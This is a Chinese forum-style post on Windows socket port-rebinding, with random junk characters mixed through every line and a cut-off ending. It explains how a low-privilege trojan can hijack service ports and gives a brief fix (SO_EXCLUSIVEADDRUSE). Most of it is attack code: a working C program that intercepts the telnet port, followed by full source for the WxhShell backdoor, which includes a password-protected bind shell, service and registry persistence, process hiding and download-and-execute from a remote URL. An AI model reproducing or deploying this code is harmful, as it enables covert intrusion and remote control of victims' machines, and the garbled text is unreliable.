在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%S]g8O[}nl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^4[|&E: }WEF*4B! saddr.sin_family = AF_INET;
c<]~q1 S)vNWBO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=SLCG. hO0g3^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
G~KYFNHr tW}At 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nv_9Llh=z OzS/J;[PO[ 这意味着什么?意味着可以进行如下的攻击:
\I
#}R4z W;!)Sj4<T! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T9&bY>f? <K
GYwLk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
##|]el%Y &~#y-o" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o6A1;e iBaz1pDc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
&20}64eW% j|2s./!Qg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AQIBg9y7 tLo_lLn*~% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q-TDg0 \cW9"e' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)|j?aVqZ %3mh'Z -[f #include
d{*e0 #include
)T!3du:M #include
l&oc/$&|[ #include
POt8G DWORD WINAPI ClientThread(LPVOID lpParam);
10W6wIqK int main()
C7xmk;c
w {
! ,&{1p WORD wVersionRequested;
B8.uzX'p DWORD ret;
6uKS!\EY| WSADATA wsaData;
;cp,d~m rf BOOL val;
XG}9)fT SOCKADDR_IN saddr;
R;`C;Rbf SOCKADDR_IN scaddr;
wi@Qf6(mn int err;
'rDai[ SOCKET s;
OO*2>Qy~z SOCKET sc;
p~f=0K int caddsize;
^F:Bj&0v[ HANDLE mt;
k`h#.B J DWORD tid;
^!sIEL wVersionRequested = MAKEWORD( 2, 2 );
%2^wyVkq: err = WSAStartup( wVersionRequested, &wsaData );
?OF9{$m3? if ( err != 0 ) {
=U,mzY( printf("error!WSAStartup failed!\n");
yrQfPR return -1;
s0*@zn>h }
j-TRa,4bN saddr.sin_family = AF_INET;
#gSLFM{p <Xl/U^B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
qUKSo9 Q Zv}\C-c saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/[+%<5s saddr.sin_port = htons(23);
^j]_MiA4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9s&Tv&%VN {
Q%n$IQr4gM printf("error!socket failed!\n");
,WtJ&S7? return -1;
`/JuItL- }
+~f=L- > val = TRUE;
}0idFotck //SO_REUSEADDR选项就是可以实现端口重绑定的
|ZtNCB5{^j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rceX|i>9n {
ciGJtD&P printf("error!setsockopt failed!\n");
Usq.'y/o return -1;
Q?/qQ}nNw }
jj6yf.r6c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
e"&QQ-q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
njckPpyb@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M$U Zn OU'm0Jlk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;bRyk# {
:s>x~t8g#n ret=GetLastError();
<d~si^*\ch printf("error!bind failed!\n");
?tx."MZ return -1;
j9~lf }
S pk8u4 listen(s,2);
20cEE> while(1)
':!aFMj^ {
e-*-91D caddsize = sizeof(scaddr);
-rlCE-S //接受连接请求
DT vCx6:! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#eIFRNRb) if(sc!=INVALID_SOCKET)
9nSfFGu {
-_ <z_IL\% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qylI/,y{ if(mt==NULL)
OxqkpK& {
^MO})C printf("Thread Creat Failed!\n");
R*DQLBWc break;
7>
8L%(7 }
Fs&r^ [/b }
0sI7UK`m CloseHandle(mt);
b)@rp }
uF+0nv+ closesocket(s);
vKBijmE WSACleanup();
I&;9
return 0;
.?kq\.rQ }
OJ r~iUr DWORD WINAPI ClientThread(LPVOID lpParam)
V6Y0#sTU {
uR6 `@F SOCKET ss = (SOCKET)lpParam;
"/Pq/\,R| SOCKET sc;
`#"xgOSP> unsigned char buf[4096];
v?0F SOCKADDR_IN saddr;
xSq{pxX long num;
||4T*B06 DWORD val;
'^M.;Giz DWORD ret;
(D0\uld9 //如果是隐藏端口应用的话,可以在此处加一些判断
&yG5w4< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^09-SUl^ saddr.sin_family = AF_INET;
GA;h7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oL@K{dk saddr.sin_port = htons(23);
(dTQ,0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hlmeT9v{ {
G`RQl@W>)( printf("error!socket failed!\n");
; Vpp1mk| return -1;
"3/&<0k }
}:57Ym)7w val = 100;
hkMVA
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~z)JO'Z$
{
#mkf2Z=t- ret = GetLastError();
1>Q4&1Vn return -1;
Bk[C=< X
}
k$ b) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\,pObWm {
jl5&T{z ret = GetLastError();
)Z)Gb~G return -1;
LGK@taw^ }
Kc,i$FH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8Qhj_ {
9g]%}+D printf("error!socket connect failed!\n");
i` Q&5KL closesocket(sc);
\440gH` closesocket(ss);
)D ~ 5 return -1;
K&eT*JW> }
aYn5AP'PH while(1)
U7Oa
13Qz {
RL3*fRlb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%SuELm //如果是嗅探内容的话,可以再此处进行内容分析和记录
xpc{#/Nk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
yD#(Iw num = recv(ss,buf,4096,0);
`x_}mdR if(num>0)
t
YxN^VqU send(sc,buf,num,0);
O_]hbXV0 else if(num==0)
B<i(Y1n[ break;
zK&1ti@wln num = recv(sc,buf,4096,0);
FzNj':D if(num>0)
d0-4KN2 send(ss,buf,num,0);
*2pf>UzL else if(num==0)
CK1A$$gnz break;
uehu\umt= }
5RAhm0Op~. closesocket(ss);
^`k;~4'd closesocket(sc);
bi^Pk,' return 0 ;
Vl;zd= }
fv k(eWB 6%}`!_N<Mc Up6OCF ==========================================================
) J.xQ}g "=1gA~T 下边附上一个代码,,WXhSHELL
FPH2dN p]ujip ==========================================================
4EmdQn zc$}4o #include "stdafx.h"
iD*Hh-
*ow`}Q #include <stdio.h>
n}t9Nf_ #include <string.h>
b$yIM #include <windows.h>
-DK6(<:0 #include <winsock2.h>
%P D}VF/Y #include <winsvc.h>
e ^oGiL~ #include <urlmon.h>
9!FU,4 X T*%rhnTv0 #pragma comment (lib, "Ws2_32.lib")
O-[ #pragma comment (lib, "urlmon.lib")
r}es_9*~Z ?|98Y"w #define MAX_USER 100 // 最大客户端连接数
(~o"*1fk>
#define BUF_SOCK 200 // sock buffer
M[~{!0Uz
g #define KEY_BUFF 255 // 输入 buffer
P;o{t JsNj!aeU% #define REBOOT 0 // 重启
*5.wwV #define SHUTDOWN 1 // 关机
1y\bJ @HPr;m! #define DEF_PORT 5000 // 监听端口
OTE,OCB[ IT{c:jo1{` #define REG_LEN 16 // 注册表键长度
PpKjjA< #define SVC_LEN 80 // NT服务名长度
0|.jIix; oyr b.lu/ // 从dll定义API
QkC*om'/! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v0VQ4> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@&Z^WN,x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
: NA(nA
3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3UaW+@ ^ghYi|kQq // wxhshell配置信息
n~]"sTC}& struct WSCFG {
&bz% @p; int ws_port; // 监听端口
Km
$o@ char ws_passstr[REG_LEN]; // 口令
g(W+[kj) int ws_autoins; // 安装标记, 1=yes 0=no
tjt^R$[ @ char ws_regname[REG_LEN]; // 注册表键名
pS|K[:5 char ws_svcname[REG_LEN]; // 服务名
;N?(R\*8 char ws_svcdisp[SVC_LEN]; // 服务显示名
(WJ)! char ws_svcdesc[SVC_LEN]; // 服务描述信息
&+&@;2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z|Oq7wzEH int ws_downexe; // 下载执行标记, 1=yes 0=no
T- _)) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rhcax%Cd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5a'`%b{{ ?&-1(& };
#Tei0B7 ,h*N9}xYTi // default Wxhshell configuration
B}[f]8jrM struct WSCFG wscfg={DEF_PORT,
0&j90J$` "xuhuanlingzhe",
0FtwDM)) 1,
zWhj>Za "Wxhshell",
(Hj[9[= "Wxhshell",
;Mo_B9 "WxhShell Service",
p]EugLEmG "Wrsky Windows CmdShell Service",
]"b:IWPeI "Please Input Your Password: ",
{0w2K82 1,
`-.2Z
0 "
http://www.wrsky.com/wxhshell.exe",
g(9* !g "Wxhshell.exe"
uxB)dS };
Ht4O5yl" Yj1|]i5b // 消息定义模块
'(FC
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A5J41yH char *msg_ws_prompt="\n\r? for help\n\r#>";
v}N\z2A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|(Mxbprz char *msg_ws_ext="\n\rExit.";
{'tfU char *msg_ws_end="\n\rQuit.";
$BMXjXd} char *msg_ws_boot="\n\rReboot...";
mjWU0. char *msg_ws_poff="\n\rShutdown...";
Y|Q(JX char *msg_ws_down="\n\rSave to ";
E`I(x&_ n)"JMzjQ< char *msg_ws_err="\n\rErr!";
-f&vH_eK char *msg_ws_ok="\n\rOK!";
!5(DU~S*@S 4pf@.ra, char ExeFile[MAX_PATH];
0t%]z! int nUser = 0;
e}1Q+h\ HANDLE handles[MAX_USER];
w(&EZDe int OsIsNt;
\.}T_,I mf$YsvPq*+ SERVICE_STATUS serviceStatus;
YB7n}r23 SERVICE_STATUS_HANDLE hServiceStatusHandle;
%L* EB;nK ~Ym_ { // 函数声明
I51]+gEN int Install(void);
$uDgBZA\ int Uninstall(void);
p$9Aadi] int DownloadFile(char *sURL, SOCKET wsh);
/ Qd` ? int Boot(int flag);
6vsA8u(|V# void HideProc(void);
eZAMV/]jH int GetOsVer(void);
A~PR int Wxhshell(SOCKET wsl);
TT/H"Ri}Jp void TalkWithClient(void *cs);
zUL,~u int CmdShell(SOCKET sock);
QF/_?Tm4 int StartFromService(void);
M%`CzCL
u int StartWxhshell(LPSTR lpCmdLine);
/HLI9 2I [zV7 @t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`
= O VOID WINAPI NTServiceHandler( DWORD fdwControl );
`6)Qi*Z %S;AM\o4 // 数据结构和表定义
Au'y(KB SERVICE_TABLE_ENTRY DispatchTable[] =
%rG4X {
8#yu.\N.xt {wscfg.ws_svcname, NTServiceMain},
dT*Yv`h {NULL, NULL}
H5x7)1Ir| };
}6%XiP| r[i^tIv6As // 自我安装
]|tg`*l!> int Install(void)
Cjr]l! {
}x`Cnn char svExeFile[MAX_PATH];
@@H_3!B%4v HKEY key;
GNMOHqg4 strcpy(svExeFile,ExeFile);
[w'Q9\,p rgzra"u) // 如果是win9x系统,修改注册表设为自启动
NplyvjQN; if(!OsIsNt) {
;7z6B|8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?'TK~,dG/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
isL
zgN% RegCloseKey(key);
7j\^h2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HK/WO jr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"u7[[.P) RegCloseKey(key);
~dr,;NhOLJ return 0;
hJ{u!:4 }
N9_* {HOy }
=WT$\KYGv
}
L T$U
z else {
uL/wV~g cDY)QUmi // 如果是NT以上系统,安装为系统服务
H9(?yI@Zr# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
EcB
!bf if (schSCManager!=0)
>;I8w( {
5q0L<GOrj SC_HANDLE schService = CreateService
y(Gn+ (
ML905n u schSCManager,
r)5xS] wscfg.ws_svcname,
7yfh4-1M wscfg.ws_svcdisp,
>n09K8
A SERVICE_ALL_ACCESS,
Jx.fDVJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
am]M2+,2Ip SERVICE_AUTO_START,
3@I0j/1#k1 SERVICE_ERROR_NORMAL,
nU>P%|loXx svExeFile,
pNb2t/8%% NULL,
Sk|e#{ NULL,
(NvjX})eh NULL,
T"z<D+pN NULL,
Jr!BDg NULL
tdH[e0x B );
}CBQdH&g; if (schService!=0)
?z9!=A%<V~ {
Pz2 b CloseServiceHandle(schService);
wu.l-VmGp) CloseServiceHandle(schSCManager);
[j0[c9.p[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+=8wZ] strcat(svExeFile,wscfg.ws_svcname);
mF;mJq<d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
h+1|.d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
skcyLIb RegCloseKey(key);
`MSig)V return 0;
cuQ!"iH }
&!CVF }
5j`xSG CloseServiceHandle(schSCManager);
WY!\^| , }
g{yw&q[B= }
5)%ahmY $v@$C4 return 1;
7{F\b }
R!j # OZxJDg // 自我卸载
@.W; 3|~qc int Uninstall(void)
q~R8<G%YK {
OS,!`8cw HKEY key;
vdq=F|& \l:R]:w;ZI if(!OsIsNt) {
<==uK>pET if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:'DyZy2Fd RegDeleteValue(key,wscfg.ws_regname);
{}YA7M:L RegCloseKey(key);
Da(k>vR@4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TRm#H$ RegDeleteValue(key,wscfg.ws_regname);
'Bue* RegCloseKey(key);
h:8P9WhWF return 0;
+06{5-, }
<YU?1y?V }
^L2d%d\5 }
!XtG6ON= else {
r1r$y2v~ ?wB_fDb} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~b~Tq if (schSCManager!=0)
j9h/`Bn {
Uqel
UL} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
wb.yGfJ if (schService!=0)
_aFe9+y {
{cs>Sy
4 if(DeleteService(schService)!=0) {
M~2Us{ ` CloseServiceHandle(schService);
kg^0 %-F CloseServiceHandle(schSCManager);
h vYRAQR: return 0;
H
d|p@$I }
a yoC]rE CloseServiceHandle(schService);
R2Tt6 }
^!\1q<@n CloseServiceHandle(schSCManager);
#"UO`2~`l }
wG,"X'1 }
qf x*a88 z}MxMx
c4h return 1;
M1/d7d }
OeqKKVuQ inGUN?? // 从指定url下载文件
.}\8Y= int DownloadFile(char *sURL, SOCKET wsh)
*K|~]r(F? {
u}nS dZC HRESULT hr;
%/Wk+r9uu char seps[]= "/";
s:tX3X char *token;
Z<.&fZ^jS char *file;
\\dUp>1= char myURL[MAX_PATH];
`7=$I~` char myFILE[MAX_PATH];
sQ}|Lu9hZ 3xy2ZYw strcpy(myURL,sURL);
f5V-; token=strtok(myURL,seps);
v])ew| while(token!=NULL)
OE@[a {
Q7aPW\- file=token;
Jo {:]: token=strtok(NULL,seps);
r'*$'QY-N }
w7@`:W N#ggT9>X GetCurrentDirectory(MAX_PATH,myFILE);
B.; qvuM~ strcat(myFILE, "\\");
H'k}/<%Q strcat(myFILE, file);
\n[kzi7 send(wsh,myFILE,strlen(myFILE),0);
VCWW(Y1Fd send(wsh,"...",3,0);
>aAM&4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
eNd&47lJ if(hr==S_OK)
qzZ/%{Ak return 0;
t<UJR*R=L else
V?M(exN return 1;
uY.Ns ?8 A08kwYxiW }
fxd+0R;f '[WL8,.Q // 系统电源模块
9f!
M1 int Boot(int flag)
~$u9 {
}:2##<"\t HANDLE hToken;
^m#tWb)f TOKEN_PRIVILEGES tkp;
T[SK>z =@!t/LR7kg if(OsIsNt) {
;stjqTd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hW#^H5? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-P}A26qB tkp.PrivilegeCount = 1;
VL*KBJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H{Ewj_L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
X)KCk2Ax if(flag==REBOOT) {
/JS_gr@DK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
S9Sgd&a9 return 0;
P PJ^;s }
HV~Fe!J_ else {
9O 'j+?(`@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>:-e return 0;
HEVjK$ }
"Wj{+|f }
w^0hVrws=, else {
/
dJz?0 if(flag==REBOOT) {
inaO{ny y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Rf!v{\ return 0;
UH MJ(.Wa- }
+Vk L?J else {
8._uwA<[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
IAQ<|3Q return 0;
(,h2qP-;ud }
w1tM !4r }
zP44
Xhz G%I
.u return 1;
]Kt@F0U<o }
osXEzr( Vkg0C*L_ // win9x进程隐藏模块
X]=eC6M}:V void HideProc(void)
GTR*3,rw {
h[>pC"s?K KA?}o^-F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
86{>X5 + if ( hKernel != NULL )
j,i9,oF6] {
vxZ'-&;t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*:n7B\. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f]r*;YEc4 FreeLibrary(hKernel);
c]{}|2u }
jC'h54,Mr ]AYP\\Xi return;
wY<s }
8JY0]G6 )NZH{G // 获取操作系统版本
t1w]L int GetOsVer(void)
+;~N; BT {
"s0,9;
} OSVERSIONINFO winfo;
(vG*)a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
46g0
e GetVersionEx(&winfo);
'JOCL0FP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gO8d2?Oh return 1;
BzfR8mD else
BaQyn 6B return 0;
E4% -*n }
5f7id7SI ^t})T*hM0 // 客户端句柄模块
Oo
:Dt~Ib int Wxhshell(SOCKET wsl)
d3c.lD)L9 {
Tow=B SOCKET wsh;
Rt?CE jy struct sockaddr_in client;
Pg8.RvmQ DWORD myID;
4;AF\De $bG*f*w while(nUser<MAX_USER)
Br!;Ac&N {
HS<Jp44 int nSize=sizeof(client);
)Jjp^U3Ub wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?SNacN@r if(wsh==INVALID_SOCKET) return 1;
8H4NNj Oy _[R(9KyF0f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
M*0^<e~]F if(handles[nUser]==0)
q? "> closesocket(wsh);
bh@Ct nO else
9I/l+IS"X nUser++;
PRU&y/zZmG }
-W9DH^EL< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Nud =K'P= 1\fx57a\ return 0;
)YAa7\Od }
Q/SO%E`E )Dz]Pv]H' // 关闭 socket
ym|7i9 void CloseIt(SOCKET wsh)
ee?
d?:L {
^UKAD'_#%O closesocket(wsh);
684& H8 nUser--;
_]zX W ExitThread(0);
tM]Gu?6 }
0;l~B h}a}HabA // 客户端请求句柄
mFTuqujO void TalkWithClient(void *cs)
i F+:j8
b {
IB&G#2M< d` ttWWPw SOCKET wsh=(SOCKET)cs;
X|a{Z*y;r* char pwd[SVC_LEN];
q~}oU5 char cmd[KEY_BUFF];
Tv"T+!Z char chr[1];
w( V%EEk int i,j;
(B4)L% i?!9%U!z4 while (nUser < MAX_USER) {
b,+Sa\j)( +%XByY5 if(wscfg.ws_passstr) {
1Rd|P<y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@ ;!IPiU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HX2u{2$ //ZeroMemory(pwd,KEY_BUFF);
* F%1~ i=0;
?^Aj\z> while(i<SVC_LEN) {
"|X'qKS(H{ S9!KI) // 设置超时
le \f: fd_set FdRead;
trDw|WA struct timeval TimeOut;
!Wr<T!T FD_ZERO(&FdRead);
uZL]mwkj] FD_SET(wsh,&FdRead);
4m<]qw TimeOut.tv_sec=8;
skl3/! TimeOut.tv_usec=0;
vSHPN|* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d3q%[[@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e#/&A5#Ya QwX81*nx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Zy+ERaF|] pwd
=chr[0]; EK4%4<"
if(chr[0]==0xd || chr[0]==0xa) { 8vuTF*{yZ
pwd=0; o6A$)m5V
break; hM]Z T5;<
} H/{@eaV
i++; A{s-g>s
} t[TM\j0jW
iQ" LIeD
// 如果是非法用户,关闭 socket 3g4=as4w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fJr
EDj4(
} Cdz?+hb
0 8)f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \H .Cmm^I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [@9S-$Xa
_{`Z?lt
while(1) { >s5}pkAv|e
=J1V?x=l@
ZeroMemory(cmd,KEY_BUFF); pK-tj
}ex4dhx2M
// 自动支持客户端 telnet标准 (W
h)Ov"
j=0; {Lal5E4-
while(j<KEY_BUFF) { ;<0vvP|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q&W>h/
cmd[j]=chr[0]; 1\(
N,'h
if(chr[0]==0xa || chr[0]==0xd) { [TA.|7&
cmd[j]=0; /!0&b?
break; Xb:*
KeZq
} kKlNhP(
j++; OvT[JpV
} 9.(|ri
,+df=>$W
// 下载文件 t|'%0 W
if(strstr(cmd,"http://")) { hk=[v7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [KBa=3>{
if(DownloadFile(cmd,wsh)) 8;pY-j
#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aUNA`
L
else G4c@v1#%.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *KNfPh#wi}
} 9~`#aQG T
else { xwo*kFg
wKi#5k2
switch(cmd[0]) { ^S`hKv&87
2n3&uvf'TL
// 帮助 f5F-h0HF`[
case '?': { bz>\n"'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K W&muD
break; HsTY* ^V
} ynw(wSH=
// 安装 =)Hu(;Yv
case 'i': { nam]eW
if(Install()) Jw5@#j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s``a{ HZ
else v_Vw!u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e'uC:O.u
break; )w4U]inJ$"
} HlX~a:.7
// 卸载 3:xx:Jt
case 'r': { <O=0 ^V
if(Uninstall()) l|
uiC%T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rw
`ezC#
else
[{2v}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;-"!p
break; lha;|
} &iWTf K7
// 显示 wxhshell 所在路径 FbuWFC
case 'p': { <5%*"v
char svExeFile[MAX_PATH]; 47(_5PFb#
strcpy(svExeFile,"\n\r"); Y`8)`
strcat(svExeFile,ExeFile); -
c>Vw&1
send(wsh,svExeFile,strlen(svExeFile),0); m7i_Iv
break; wtSU43D
} \xp0n
// 重启 "0%K3d+
case 'b': { 'AK '(cZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ftMlm_u
if(Boot(REBOOT)) Ws5N|g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mlc8q s
else { 7~J>Ga
closesocket(wsh);
kntY2FM
ExitThread(0); J>#hu3&UOQ
} ~x(|'`
break; iLv
-*%%
} 3r#['UmT
// 关机 W*s=No3C
case 'd': { mCt/\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q}p$S2`
if(Boot(SHUTDOWN)) _O}U4aGMTC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_>\Yd [
else { r'nPP6`
closesocket(wsh); pf'DbY!
ExitThread(0); -zYa@PW
} 3.Mpd
break; s@$0!8sxm
} D(Rr<-(
// 获取shell
;UXV!8SM
case 's': { h8O\sKn
CmdShell(wsh); u(3 uZ:
closesocket(wsh); XK\nOHLS
ExitThread(0); !pU^?Hy=
break; l[_antokn
} F|6"-*[RS
// 退出 !G vT{
case 'x': { o|d:rp!^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9mk@\Gqqm
CloseIt(wsh); 93D}0kp
break; 5JaLE5-
} DqY"N]
// 离开 l"JM%LV
case 'q': { @ NDcO,]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h-Y>>l>PW0
closesocket(wsh); Tv'1IE
WSACleanup(); pHb,*C</
exit(1); DjaXJ?'
break; pjS##pgVq
} n;.
M5}O
} esZhX)dS
} 6bs-&Vf
lIEZ=CEmY
// 提示信息 ms Cz\8Xd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *
G*VY#L
} >QJDO ]~V
} H0tu3Pqk
a ub$4n!C9
return; 1P*GIt2L
} 4y}z+4
[ <d~b*/
// shell模块句柄 =e
1Q>~
int CmdShell(SOCKET sock) N/WtQSl
{ z-K};l9y
STARTUPINFO si; `L$Av9X\
ZeroMemory(&si,sizeof(si)); QZ(O2!Mg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~sn3_6{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?s>_^xfD
PROCESS_INFORMATION ProcessInfo; QqF*SaO>
char cmdline[]="cmd"; zqU$V~5;rG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }\H. G
return 0; jtfC3E,U
} ^m D$#
FZU1WBNL%t
// 自身启动模式 X&aQR[X
int StartFromService(void) FTEC=j$ln
{ gA_oJW4_
typedef struct 82r{V:NCK)
{ !7~4`D
c6U
DWORD ExitStatus; %.Btf3y~
DWORD PebBaseAddress; 2vB,{/GXP
